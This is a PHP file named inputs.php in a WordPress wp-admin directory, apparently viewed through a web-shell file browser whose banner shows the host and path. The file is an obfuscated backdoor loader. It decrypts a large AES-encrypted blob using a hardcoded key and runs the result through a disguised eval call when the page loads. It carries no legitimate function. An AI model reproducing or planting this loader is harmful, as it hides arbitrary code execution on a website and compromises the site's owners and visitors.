| Linux webm005.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 Path : /home/bishi/www/wp-admin/ |
| Current File : /home/bishi/www/wp-admin/inputs.php |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = 'vFWsfyOIipGwDteJvkG/YZ+ciCE5QdIE/zTqgjZYSdwRT7hTN1OaWCKXx5vK7JBksApHneYDo3pqvJ7uqM0xP5BJWVZUANA4Lyb/Svr6m8RRnnk2XzWxan5yQDjqrrNPgiH5Ghvh+9kG0F8n/u5ofNNp+rwTluxMpoJvHUivZkDSc0PaA8SLktwMvyUiHhj46wENMaGmIt7J7qnWica8/RxEvNOuWrTpTMLoJCfR6fybS8jnxOQI0ReLvCfHeWu2SVEHV7VVsf9UbLA8Q1DS+JSKfjLEjd0RFlXQGUutUkeaFK5mqSoMxB6Zsob8P7Sf2LP7Aq/t4Xnj/Yi1mWp5BKGFjs7jt3d3v9iQQtKyBgrFNKoDqOXdNN2ad5gxqBZe9mVdKiOVtPX2lOdvcMv9c8A6z+F3GFyHNSc1AvTpz0IFU+xQlIeYF04qm/1/1ObunwGIQvO6vyU4cJ8yibI1Du9tJ3HOVIXcMAFzqVICfaAUxJ7DYMuT0FeFcAW9ajX+jd1TgR7PJIckdKotb6hhW76htfUbINYDJA0RH67BCIa7ryQ6K8GVFfDGUFqL1Z82krKz8JCm/grU0QiwCQctyLL8kywiu2thzskOiPbUh6K6pqv3bD59p6B61jLbyICEBWWYn4vzhpxpQ74GsowGlh6Q2uy6P1QFk/1qUCugHD+JZ4v5QhpDmgt0gHX+KR3xj4DoU4/tUZO5cdFLr6vQ66IJk+a7wQGIE0vcuFdR/NpArvXNp7XLnxJjS3PgU+c7vFAcrjltKtvGu4A+lNuXy1fq3sNRhf/lZMFY0Ls1r8Leqsz2sL5rmV6zxS4nmjehWCqmWRiFgm/FxbJAhpccwigYiGHQQ9jhS8JQLffOC+mpTRsy1Z2+uZySP6lC+DXb3pDOTRJhW59/TXYb3n2oc2Q+RzjoYs4+UjezS0ORX+ESuNeo+gu8V+8ja7WWcLAv5oj33NbJplAoR3kNf2Fx0UL9IM/qxOrjMljkr6NlEn54uDtxBQqX3w29d3UizfJf+/oZXdFjJF7EO8tx1UQJ9ruJ1jogCyp6a/DP1P89a30lY7AQtaMueeg3Fa4bjI7BzINgrTnYopRvSkmz/gzd42DUNIBI4EnXKpeVFdCSPUvAFfMWAQ+i9G7Ri/OLMPl1RjU4kIQxnH2gG1BOZbys2KxdLKkYkYye3I/ZmATW3DAi3Bs65MdDYRg1Lks/Aod8SCfnTaKkBvXmT3gMG3quia/bCWwfQ7J7SjXOHnr4TRVLVHDapkEzGiiZCComsDHZj26siTGPOM33oPf7o9MOM/vtnoLyM+7ggE/7G1Hp8vbMJAta68+CswxScdDycopyK6pJ2/tUsDmG0ltN0m9v72p7M4/vwth9nLIcJmp3+oLzo3NLRnYN2UHN4XrSuYzlRW/lHL/PFo+NQiFlDbbqI/VdNI2HkIVBORhq2P9+VV1xFx9ZpItMHsj89VJX9uUvmbh8KclJGwjHaLLeiH16CJSi9kaLkFJzChWFhaTYPAaYj9mEnW9FwcK/r5yRAzHrEra/WVV7jwa9VUPo3a1wJ71ymDAwJAiUFaSPnucNo14c+AAVbptNztGFxTfHEXxSRFij/bKSQd5Ne72+Rw9yL6vzUMsUxG9L3VnQh/sDbz8izsz3aoztR6dXzA2RjK0xMtY7fwNqBtmJZmDzn30m5kICXl82klXHKkWFnqAyMUSkS/lkZw3CvCbksWu3IMx4fOiT5bD+lFM4vPyoNwlI61EQSOrY3hURo6gJ4J+j9Rfaz3PG2ek5svWHGvDt/ai4k2Nhv+yP4And+Lu66/LsRvaK+omVGcmjha/XB+qXWqpWozkbuh2Z+P1XkzDopanwueRMaxo2k/rloVFUM+LlB+V5FxW7ddVCEojzlldkrmk8SE+iMB09zDxc7AW5ht2xjGUbcx9VO9LJuu93yX45I98ftQ4TwsrGKW2mHB0hHKgRA07/CGgwrVX9YrNGfFpYO058WuD7hY5BulcvNVHJlFpr9+yw1QElB2zLOUDzoIKmuO9SQfa6/qMRnN+xvwH6fJrSccbD+/QmtnqgXszqgSRUJ/CIPLITy6wqTCnQwUJqRGFLYUTBgnMmPtPcTfe4Ah3+Jk1aiqGYjmf5F3ZE9EoOZsG4EXc8l1GAYqSWfenjR5a/FWlQwV8FnIDkv1U3/aXqmWD+/VowB1zzW2gC01gaAJP8iQ05jxhUZKU9a6obhzn3dHeQG1uDnJU4OQGArnT2j8mma4YrzS2+tpUC78QwlAG10gsBgNfTpZItlyVSkSRwialg6TB7bpzaIR2PDepea3I6oeNk6mOfnh3Gkp+AoScX5UZXuBbR1csCCMYVsKtJkKHgUADHILM38OFI/WCEKzgsDcC1vmq12QfJBX72U0PO8q+qP7rS90owO2F8/ZDtM7N2V75iQcmRE+PmXS7QcX5NUIv7j0u0xBKKKuTXVYKZBx9GxyQyHMV3oAuxMPJ7LMN+QTYfHt7O2kkpi+Ej+Ef/dPNcbvnRKM8tg0WWPOr2M7cWWNj4VJalAnsHAZkrbrGKeoITJzoPyITqfCq4ysM+L36IqfIC8NlYqWXG9ZBb9JEaIxxWRHt4Ar662gw7vLen4W72I75p7G9+s69b/pX66WzrUJyTQntctyuCzVmFQSy/ut3aJVnEbeUiij4cY5MOPperrHezmMBDJwhms9k9kH0MKVmPFcVAUTosJSCqjYI2MuqIKUWMV/fVFWYGsd+B3wrhe69DC+/iUC+E930N+5t12iYwLBMd91rTU8q1S5AmCMUNh6AJQWqCJKlBq+9WZOyax9KBDONr7xR6gEam7tVECNjcBKd3EpplMDSzFw6fu2WsIesGFMtpMxerUBo3EJSYqUny6DtrvQvy++s5/ZsjgtfPFyvwARsPyOoUah7f/CEwJHOThK9jO+w5lET42iASm/QCr717hjIeEjwkYp7SElXKCxkcCy14Ec6ERkVpqZWy53a8Md2Fyt8Bnfal6qNyq5MJHkfwqWuG+py7OjxA/dO9mBZ5JTmmVrNGAaNfsyApcP1VBdT83mkBrO4nKkig8lZp0MXkYcdHmawy90YGO0Jp+ez19/nCvCCBd71mdGvnupnuhYRHLSiQuRBm9VM4H1r8fgaW7JQYw9C+VX3Rc60f8LsieNyAt1FHosNV7bIXOLyYN5zKDp6/DHxwt8rJA8KrVwrrHXFwQOPN9rrBupdNTwZn6dR3NUugy+C+aCOspIIL2m3Fu5A4cSirT9jkaJy9Sy7rCwu0ewuQXU0W+kXvMTR79yYSZxlX06g08dRFMTKP6888Pfyhe+jVFRzkou7LXIeH87OgH9rJgUkDa/RsguNPra3l3yAT6PTDPoPsSHfeqZNvEERTw74ablenmAK/aJYtHp9gq/JmQE4Jn54TZhPAzPiX/jSQCyu7OQ39wMJnlM6qfjrSbhmHpHKp2N7k1whmizVe4D78B2AZKP6qZDDeLPhJxEH89oKu5wOGqFOO2FQcXtWZ/Ubxv+GdPYFo7SDxJNcaI7+OW4yKC6iJOd1OAbH87P+/2HDcawkE2A5SJjkm7YotpT1b1PUOb9UY4RHvIJ91BdOfKp/AkVjfb+hoFLSb4kH6DqSrNmhZUTGDE3GWivXdhbRhaLIHO+Mikf+mO1D8sI0+fx/JJ+Y68h3gFzzA3xSGFudzBXXX7zD/HYtTikMBomtzJ6K5Z7nqxAY56pIot2W+t6OfLn9v0vTG/emyicatOMY4mkDT5Oap+l5fDO4BYoCkzDNF4uqUhOlcS3iVhMOMK7DV9nebeYXv/czroBMHfnBmiaRR9IOxYMGUq6M50Pwg6MMtggk5QIL82eWRSV43/Or+6WY4Qow7dC19IVKR7L8llLPT+KfKoeAyFIriZkLo/gwb3I7MiTD2lrtJmv2TheSZKZs0nh45Bpd/BVYkf6WrmB5hkkt29EdBjxcfUp1k+H5xNrjTEwGufwsyqLfaDx/Vhs+8qIi41nNz3truY9Of6HtVpmKCLk5hPjld4BESCeMhEJUjp7A1d2Zgn1cU6CajkPZedj8eREDEKtaqc/p3tx/91DBQYtGfvCICxhp/5suA/8YnjDZy7vGgg9Wg6OjR78QnTuDanhxdLO8eQDjGA48oZT7Lm6ZkLvyBVZNFcoUVtsHA4Tyj87jt0g7FFdFCwBgiQREBpADably8r0fo9IcLL1NKUVgX5qkOMOZdqXc1SOlfVH11oH5LLRhgCNfcYJRoOhhVJJuwcBgPkFSrjfnHSxdK31sffz28y+FoLW4VhogATMwhYzSyMphJPnw1PLpTnDfNidXnahsEgaMViTwHxTN33r87WOjv/DTQ9KcW6Dj8l7ChcMJ27feUdqzxMvkUn8vGoS1YXavSLpL8NWr+xkgZltfljyVTJT51+ih5bvJIIZgZ1nZ6rWinRvR4bPfB/uvIvlEJhmaO6HYWFD0nHnd1l32J+DQ6OLL7AoK6zGd3c9OCh8C++oMlDDXCsY2/XjBJeHfnlZfJeZ8sZmqobz1wawg16K1Hcpj2oBk3gyjFyYRfcijMjBHM4Gy3eXdF1TUdFlWDoPCgtSM/K59rI+Qe9/4XHGeEpB3Og7NBivL/jLgnvRvuTO3lr8JPxe6mZ4oKbKGlfl0aif3RKBjITSXeQ8mxY8Z9vgydtqPN/MQHhOwmeMXYVz8OJGXXmGDb1Mr5bN9aGj4EyCC5qTXxJHMHjE4/vtwwOM1LlDr3fW1efFczu+9Zgc5vNFnJJI7YhNtVWXGCz3OgLUWPnMAoWRCK6QeoZNRWKbcdjLOdis2INnctL3VQPGAaZ508BEDZt0JioZuwYrwXpw6m+05r29va+UidVjoGkj+JcZa4L6a0CEOEC8UaxCL62thW86giJ2BD5wWo4nnCaRsf+msA9EA2KbCwexxM1NiRqjhTGVhNtay03uTpoNRFA7AYvCWBKxTHmbiq6rBkiPRexHQKvKO8GCJG8NjKirzncZ4nyUwHy+14pWu8N4xvC0/m7cfFTwOyBgfSwErJsg8JAf9i93RE3r9Un4xC86usF5TGF9HwWwF/03UGCRJUPZy3sK+CHARy52hBVYM9ojE1rNWlqhl0YwpA3TQaLl6hvZPUp7dNaBTC8W83GvTaM+2QkOKssHsfukcpBVa/MY8M4ea0YUZJglQFSLIk4VXa6rT+nEKN6wVdzRj/CEj6tG27Ng0YuH6+1bKc/mqby98nV+3P5nSFZFmRkk424Y7SDRqpRPx0uBPE+DKz4eo8p3aDVCdNhar1cfSDwtiCwum8bqe/pQOEj75mKmCB+qOA5hetnQIFucmYbMZh3LMaQWBvOPqjmEOomjob5CtprCs3lp3n+V0UOaJBeQzH85V9Bf4anl5on4Z2UIOntbooJGAFdD7ztVNFEhhW2giwSSJdjE8pOj+xzyoQdXDYdQ7M5LHUQvYzJIY5gIKWHClGMKzi8WwD6ysJ5ljQjb8GwUce3ZAop0OAkim09cmoeBcsMS7SctwXzavG9IVYmGvdCZ8spRe9q5R1JjF+wBFOul/M9PGMeI6tmmj/NKfJG21pbUe1L92emoMX4XoUqMy8hIU7HsE3Ctv390ESMwXuE0BySndFVzDmgg4W1I4cd/9sQ8EJo8ZPWRc73X87HtqOeqkFbhjc+FsGe/r0nC/KxxhoIpM18h6p7bX9s2G9VnLuITMQckIxUABTH+4yCiF5RlRaZy1p2yj5dG4oKRm7t/7pzzVPenmqnJyzJhJbi0fM4SLWmtS+dLcT';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);